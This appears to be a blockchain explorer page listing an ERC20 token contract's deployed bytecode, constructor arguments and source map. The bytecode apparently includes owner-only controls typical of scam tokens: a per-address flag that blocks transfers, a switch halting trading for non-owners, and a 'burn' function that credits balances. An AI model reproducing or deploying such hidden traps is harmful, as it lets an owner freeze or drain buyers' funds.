0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063379f53e3116100ad5780638f84aa09116100715780638f84aa09146102f857806395d89b4114610316578063a457c2d714610334578063a9059cbb14610364578063dd62ed3e1461039457610121565b8063379f53e314610254578063395093511461028457806370a08231146102b4578063715018a6146102e45780638129fc1c146102ee57610121565b8063124d91e5116100f4578063124d91e5146101ae578063158ef93e146101ca57806318160ddd146101e857806323b872dd14610206578063313ce5671461023657610121565b806306fdde03146101265780630700037d14610144578063095ea7b3146101605780630cfccc8314610190575b600080fd5b61012e6103c4565b60405161013b91906118d8565b60405180910390f35b61015e60048036038101906101599190611590565b610456565b005b61017a60048036038101906101759190611644565b6105fd565b60405161018791906118bd565b60405180910390f35b61019861061b565b6040516101a59190611a3a565b60405180910390f35b6101c860048036038101906101c39190611680565b610625565b005b6101d2610804565b6040516101df91906118bd565b60405180910390f35b6101f061081b565b6040516101fd9190611a3a565b60405180910390f35b610220600480360381019061021b91906115f5565b610825565b60405161022d91906118bd565b60405180910390f35b61023e61091d565b60405161024b9190611a55565b60405180910390f35b61026e60048036038101906102699190611590565b610926565b60405161027b91906118bd565b60405180910390f35b61029e60048036038101906102999190611644565b61097c565b6040516102ab91906118bd565b60405180910390f35b6102ce60048036038101906102c99190611590565b610a28565b6040516102db9190611a3a565b60405180910390f35b6102ec610a71565b005b6102f6610bc5565b005b610300610cb4565b60405161030d91906118a2565b60405180910390f35b61031e610cde565b60405161032b91906118d8565b60405180910390f35b61034e60048036038101906103499190611644565b610d70565b60405161035b91906118bd565b60405180910390f35b61037e60048036038101906103799190611644565b610e5b565b60405161038b91906118bd565b60405180910390f35b6103ae60048036038101906103a991906115b9565b610e79565b6040516103bb9190611a3a565b60405180910390f35b6060600880546103d390611b9e565b80601f01602080910402602001604051908101604052809291908181526020018280546103ff90611b9e565b801561044c5780601f106104215761010080835404028352916020019161044c565b820191906000526020600020905b81548152906001019060200180831161042f57829003601f168201915b5050505050905090565b61045e610f00565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e29061199a565b60405180910390fd5b60011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156105a1576000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506105fa565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600061061161060a610f00565b8484610f08565b6001905092915050565b6000600754905090565b61062d610f00565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b19061199a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561072a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107219061195a565b60405180910390fd5b816006600082825461073c9190611ae2565b9250508190555080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107929190611a8c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107f79190611a3a565b60405180910390a3505050565b6000600560009054906101000a900460ff16905090565b6000600654905090565b60006108328484846110d3565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061087d610f00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f49061197a565b60405180910390fd5b61091185610909610f00565b858403610f08565b60019150509392505050565b60006009905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610a1e610989610f00565b848460036000610997610f00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a199190611a8c565b610f08565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a79610f00565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd9061199a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bcd610f00565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c519061199a565b60405180910390fd5b60011515600560009054906101000a900460ff1615151415610c96576000600560006101000a81548160ff021916908315150217905550610cb2565b6001600560006101000a81548160ff0219169083151502179055505b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610ced90611b9e565b80601f0160208091040260200160405190810160405280929190818152602001828054610d1990611b9e565b8015610d665780601f10610d3b57610100808354040283529160200191610d66565b820191906000526020600020905b815481529060010190602001808311610d4957829003601f168201915b5050505050905090565b60008060036000610d7f610f00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390611a1a565b60405180910390fd5b610e50610e47610f00565b85858403610f08565b600191505092915050565b6000610e6f610e68610f00565b84846110d3565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6f906119fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf9061191a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110c69190611a3a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113a906119ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111aa906118fa565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112545750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561129d576000811461129c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611293906119da565b60405180910390fd5b5b60011515600560009054906101000a900460ff16151514806112f157506112c2611533565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061132e57506112ff611533565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114d75761133e83838361155c565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bc9061193a565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461145a9190611a8c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114be9190611a3a565b60405180910390a36114d1848484611561565b5061152e565b60011515600560009054906101000a900460ff1615151461152d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611524906119da565b60405180910390fd5b5b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b60008135905061157581611ee3565b92915050565b60008135905061158a81611efa565b92915050565b6000602082840312156115a257600080fd5b60006115b084828501611566565b91505092915050565b600080604083850312156115cc57600080fd5b60006115da85828601611566565b92505060206115eb85828601611566565b9150509250929050565b60008060006060848603121561160a57600080fd5b600061161886828701611566565b935050602061162986828701611566565b925050604061163a8682870161157b565b9150509250925092565b6000806040838503121561165757600080fd5b600061166585828601611566565b92505060206116768582860161157b565b9150509250929050565b60008060006060848603121561169557600080fd5b60006116a386828701611566565b93505060206116b48682870161157b565b92505060406116c58682870161157b565b9150509250925092565b6116d881611b16565b82525050565b6116e781611b28565b82525050565b60006116f882611a70565b6117028185611a7b565b9350611712818560208601611b6b565b61171b81611c2e565b840191505092915050565b6000611733602383611a7b565b915061173e82611c3f565b604082019050919050565b6000611756602283611a7b565b915061176182611c8e565b604082019050919050565b6000611779602683611a7b565b915061178482611cdd565b604082019050919050565b600061179c602c83611a7b565b91506117a782611d2c565b604082019050919050565b60006117bf602883611a7b565b91506117ca82611d7b565b604082019050919050565b60006117e2602083611a7b565b91506117ed82611dca565b602082019050919050565b6000611805602583611a7b565b915061181082611df3565b604082019050919050565b6000611828600083611a7b565b915061183382611e42565b600082019050919050565b600061184b602483611a7b565b915061185682611e45565b604082019050919050565b600061186e602583611a7b565b915061187982611e94565b604082019050919050565b61188d81611b54565b82525050565b61189c81611b5e565b82525050565b60006020820190506118b760008301846116cf565b92915050565b60006020820190506118d260008301846116de565b92915050565b600060208201905081810360008301526118f281846116ed565b905092915050565b6000602082019050818103600083015261191381611726565b9050919050565b6000602082019050818103600083015261193381611749565b9050919050565b600060208201905081810360008301526119538161176c565b9050919050565b600060208201905081810360008301526119738161178f565b9050919050565b60006020820190508181036000830152611993816117b2565b9050919050565b600060208201905081810360008301526119b3816117d5565b9050919050565b600060208201905081810360008301526119d3816117f8565b9050919050565b600060208201905081810360008301526119f38161181b565b9050919050565b60006020820190508181036000830152611a138161183e565b9050919050565b60006020820190508181036000830152611a3381611861565b9050919050565b6000602082019050611a4f6000830184611884565b92915050565b6000602082019050611a6a6000830184611893565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a9782611b54565b9150611aa283611b54565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ad757611ad6611bd0565b5b828201905092915050565b6000611aed82611b54565b9150611af883611b54565b925082821015611b0b57611b0a611bd0565b5b828203905092915050565b6000611b2182611b34565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b89578082015181840152602081019050611b6e565b83811115611b98576000848401525b50505050565b60006002820490506001821680611bb657607f821691505b60208210811415611bca57611bc9611bff565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611eec81611b16565b8114611ef757600080fd5b50565b611f0381611b54565b8114611f0e57600080fd5b5056fea264697066735822122010c68fde62210f678db88b0a867a274c1deb0d67113fbb2de4bc4ba4ad72b63964736f6c63430008010033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
-----Decoded View---------------
Arg [0] : rter (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : fctr (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Deployed Bytecode Sourcemap
376:7220:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1537:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6430:178;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2926:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1377:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5547:319;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7082:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2116:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3161:474;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1959:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6693:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3745:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2287:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1507:155:4;;;:::i;:::-;;6863:135:3;;;:::i;:::-;;1224:93:4;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1748:104:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4070:397;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2476:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2714:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1537:100;1591:13;1624:5;1617:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1537:100;:::o;6430:178::-;1070:12:4;:10;:12::i;:::-;1060:22;;:6;;;;;;;;;;:22;;;1052:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6522:4:3::1;6500:26;;:8;:18;6509:8;6500:18;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;6496:105;;;6550:5;6529:8;:18;6538:8;6529:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;6496:105;;;6594:4;6573:8;:18;6582:8;6573:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;6496:105;6430:178:::0;:::o;2926:169::-;3009:4;3026:39;3035:12;:10;:12::i;:::-;3049:7;3058:6;3026:8;:39::i;:::-;3083:4;3076:11;;2926:169;;;;:::o;1377:90::-;1422:7;1449:10;;1442:17;;1377:90;:::o;5547:319::-;1070:12:4;:10;:12::i;:::-;1060:22;;:6;;;;;;;;;;:22;;;1052:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5676:1:3::1;5657:21;;:7;:21;;;;5649:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;5754:7;5738:12;;:23;;;;;;;:::i;:::-;;;;;;;;5794:10;5772:9;:18;5782:7;5772:18;;;;;;;;;;;;;;;;:32;;;;;;;:::i;:::-;;;;;;;;5846:1;5820:38;;5829:7;5820:38;;;5850:7;5820:38;;;;;;:::i;:::-;;;;;;;;5547:319:::0;;;:::o;7082:83::-;7126:4;7146:11;;;;;;;;;;;7139:18;;7082:83;:::o;2116:108::-;2177:7;2204:12;;2197:19;;2116:108;:::o;3161:474::-;3301:4;3318:36;3328:6;3336:9;3347:6;3318:9;:36::i;:::-;3365:24;3392:11;:19;3404:6;3392:19;;;;;;;;;;;;;;;:33;3412:12;:10;:12::i;:::-;3392:33;;;;;;;;;;;;;;;;3365:60;;3464:6;3444:16;:26;;3436:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;3547:57;3556:6;3564:12;:10;:12::i;:::-;3597:6;3578:16;:25;3547:8;:57::i;:::-;3623:4;3616:11;;;3161:474;;;;;:::o;1959:92::-;2017:5;2042:1;2035:8;;1959:92;:::o;6693:107::-;6750:4;6774:8;:18;6783:8;6774:18;;;;;;;;;;;;;;;;;;;;;;;;;6767:25;;6693:107;;;:::o;3745:215::-;3833:4;3850:80;3859:12;:10;:12::i;:::-;3873:7;3919:10;3882:11;:25;3894:12;:10;:12::i;:::-;3882:25;;;;;;;;;;;;;;;:34;3908:7;3882:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;3850:8;:80::i;:::-;3948:4;3941:11;;3745:215;;;;:::o;2287:127::-;2361:7;2388:9;:18;2398:7;2388:18;;;;;;;;;;;;;;;;2381:25;;2287:127;;;:::o;1507:155:4:-;1070:12;:10;:12::i;:::-;1060:22;;:6;;;;;;;;;;:22;;;1052:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1614:1:::1;1577:40;;1598:6;::::0;::::1;;;;;;;;1577:40;;;;;;;;;;;;1652:1;1628:13;;:26;;;;;;;;;;;;;;;;;;1507:155::o:0;6863:135:3:-;1070:12:4;:10;:12::i;:::-;1060:22;;:6;;;;;;;;;;:22;;;1052:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6936:4:3::1;6921:19;;:11;;;;;;;;;;;:19;;;6917:74;;;6957:5;6943:11;;:19;;;;;;;;;;;;;;;;;;6917:74;;;6985:4;6971:11;;:18;;;;;;;;;;;;;;;;;;6917:74;6863:135::o:0;1224:93:4:-;1269:7;1296:13;;;;;;;;;;;1289:20;;1224:93;:::o;1748:104:3:-;1804:13;1837:7;1830:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1748:104;:::o;4070:397::-;4163:4;4180:24;4207:11;:25;4219:12;:10;:12::i;:::-;4207:25;;;;;;;;;;;;;;;:34;4233:7;4207:34;;;;;;;;;;;;;;;;4180:61;;4280:15;4260:16;:35;;4252:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;4369:67;4378:12;:10;:12::i;:::-;4392:7;4420:15;4401:16;:34;4369:8;:67::i;:::-;4455:4;4448:11;;;4070:397;;;;:::o;2476:175::-;2562:4;2579:42;2589:12;:10;:12::i;:::-;2603:9;2614:6;2579:9;:42::i;:::-;2639:4;2632:11;;2476:175;;;;:::o;2714:151::-;2803:7;2830:11;:18;2842:5;2830:18;;;;;;;;;;;;;;;:27;2849:7;2830:27;;;;;;;;;;;;;;;;2823:34;;2714:151;;;;:::o;602:98:0:-;655:7;682:10;675:17;;602:98;:::o;5980:378:3:-;6133:1;6116:19;;:5;:19;;;;6108:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6214:1;6195:21;;:7;:21;;;;6187:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6296:6;6266:11;:18;6278:5;6266:18;;;;;;;;;;;;;;;:27;6285:7;6266:27;;;;;;;;;;;;;;;:36;;;;6334:7;6318:32;;6327:5;6318:32;;;6343:6;6318:32;;;;;;:::i;:::-;;;;;;;;5980:378;;;:::o;4561:891::-;4685:1;4667:20;;:6;:20;;;;4659:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4769:1;4748:23;;:9;:23;;;;4740:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;4826:8;:16;4835:6;4826:16;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;4846:8;:19;4855:9;4846:19;;;;;;;;;;;;;;;;;;;;;;;;;4826:39;4822:70;;;4886:1;4876:6;:11;4867:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;4822:70;4922:4;4907:19;;:11;;;;;;;;;;;:19;;;:40;;;;4940:7;:5;:7::i;:::-;4930:17;;:6;:17;;;4907:40;:64;;;;4964:7;:5;:7::i;:::-;4951:20;;:9;:20;;;4907:64;4903:542;;;4984:47;5005:6;5013:9;5024:6;4984:20;:47::i;:::-;5042:21;5066:9;:17;5076:6;5066:17;;;;;;;;;;;;;;;;5042:41;;5119:6;5102:13;:23;;5094:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5236:6;5220:13;:22;5200:9;:17;5210:6;5200:17;;;;;;;;;;;;;;;:42;;;;5278:6;5254:9;:20;5264:9;5254:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5317:9;5300:35;;5309:6;5300:35;;;5328:6;5300:35;;;;;;:::i;:::-;;;;;;;;5346:46;5366:6;5374:9;5385:6;5346:19;:46::i;:::-;4903:542;;;;5434:4;5419:19;;:11;;;;;;;;;;;:19;;;5410:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;4903:542;4561:891;;;:::o;846:81:4:-;886:7;913:6;;;;;;;;;;;906:13;;846:81;:::o;7255:125:3:-;;;;:::o;7469:124::-;;;;:::o;7:139:5:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:552::-;;;;2091:2;2079:9;2070:7;2066:23;2062:32;2059:2;;;2107:1;2104;2097:12;2059:2;2150:1;2175:53;2220:7;2211:6;2200:9;2196:22;2175:53;:::i;:::-;2165:63;;2121:117;2277:2;2303:53;2348:7;2339:6;2328:9;2324:22;2303:53;:::i;:::-;2293:63;;2248:118;2405:2;2431:53;2476:7;2467:6;2456:9;2452:22;2431:53;:::i;:::-;2421:63;;2376:118;2049:452;;;;;:::o;2507:118::-;2594:24;2612:5;2594:24;:::i;:::-;2589:3;2582:37;2572:53;;:::o;2631:109::-;2712:21;2727:5;2712:21;:::i;:::-;2707:3;2700:34;2690:50;;:::o;2746:364::-;;2862:39;2895:5;2862:39;:::i;:::-;2917:71;2981:6;2976:3;2917:71;:::i;:::-;2910:78;;2997:52;3042:6;3037:3;3030:4;3023:5;3019:16;2997:52;:::i;:::-;3074:29;3096:6;3074:29;:::i;:::-;3069:3;3065:39;3058:46;;2838:272;;;;;:::o;3116:366::-;;3279:67;3343:2;3338:3;3279:67;:::i;:::-;3272:74;;3355:93;3444:3;3355:93;:::i;:::-;3473:2;3468:3;3464:12;3457:19;;3262:220;;;:::o;3488:366::-;;3651:67;3715:2;3710:3;3651:67;:::i;:::-;3644:74;;3727:93;3816:3;3727:93;:::i;:::-;3845:2;3840:3;3836:12;3829:19;;3634:220;;;:::o;3860:366::-;;4023:67;4087:2;4082:3;4023:67;:::i;:::-;4016:74;;4099:93;4188:3;4099:93;:::i;:::-;4217:2;4212:3;4208:12;4201:19;;4006:220;;;:::o;4232:366::-;;4395:67;4459:2;4454:3;4395:67;:::i;:::-;4388:74;;4471:93;4560:3;4471:93;:::i;:::-;4589:2;4584:3;4580:12;4573:19;;4378:220;;;:::o;4604:366::-;;4767:67;4831:2;4826:3;4767:67;:::i;:::-;4760:74;;4843:93;4932:3;4843:93;:::i;:::-;4961:2;4956:3;4952:12;4945:19;;4750:220;;;:::o;4976:366::-;;5139:67;5203:2;5198:3;5139:67;:::i;:::-;5132:74;;5215:93;5304:3;5215:93;:::i;:::-;5333:2;5328:3;5324:12;5317:19;;5122:220;;;:::o;5348:366::-;;5511:67;5575:2;5570:3;5511:67;:::i;:::-;5504:74;;5587:93;5676:3;5587:93;:::i;:::-;5705:2;5700:3;5696:12;5689:19;;5494:220;;;:::o;5720:364::-;;5883:66;5947:1;5942:3;5883:66;:::i;:::-;5876:73;;5958:93;6047:3;5958:93;:::i;:::-;6076:1;6071:3;6067:11;6060:18;;5866:218;;;:::o;6090:366::-;;6253:67;6317:2;6312:3;6253:67;:::i;:::-;6246:74;;6329:93;6418:3;6329:93;:::i;:::-;6447:2;6442:3;6438:12;6431:19;;6236:220;;;:::o;6462:366::-;;6625:67;6689:2;6684:3;6625:67;:::i;:::-;6618:74;;6701:93;6790:3;6701:93;:::i;:::-;6819:2;6814:3;6810:12;6803:19;;6608:220;;;:::o;6834:118::-;6921:24;6939:5;6921:24;:::i;:::-;6916:3;6909:37;6899:53;;:::o;6958:112::-;7041:22;7057:5;7041:22;:::i;:::-;7036:3;7029:35;7019:51;;:::o;7076:222::-;;7207:2;7196:9;7192:18;7184:26;;7220:71;7288:1;7277:9;7273:17;7264:6;7220:71;:::i;:::-;7174:124;;;;:::o;7304:210::-;;7429:2;7418:9;7414:18;7406:26;;7442:65;7504:1;7493:9;7489:17;7480:6;7442:65;:::i;:::-;7396:118;;;;:::o;7520:313::-;;7671:2;7660:9;7656:18;7648:26;;7720:9;7714:4;7710:20;7706:1;7695:9;7691:17;7684:47;7748:78;7821:4;7812:6;7748:78;:::i;:::-;7740:86;;7638:195;;;;:::o;7839:419::-;;8043:2;8032:9;8028:18;8020:26;;8092:9;8086:4;8082:20;8078:1;8067:9;8063:17;8056:47;8120:131;8246:4;8120:131;:::i;:::-;8112:139;;8010:248;;;:::o;8264:419::-;;8468:2;8457:9;8453:18;8445:26;;8517:9;8511:4;8507:20;8503:1;8492:9;8488:17;8481:47;8545:131;8671:4;8545:131;:::i;:::-;8537:139;;8435:248;;;:::o;8689:419::-;;8893:2;8882:9;8878:18;8870:26;;8942:9;8936:4;8932:20;8928:1;8917:9;8913:17;8906:47;8970:131;9096:4;8970:131;:::i;:::-;8962:139;;8860:248;;;:::o;9114:419::-;;9318:2;9307:9;9303:18;9295:26;;9367:9;9361:4;9357:20;9353:1;9342:9;9338: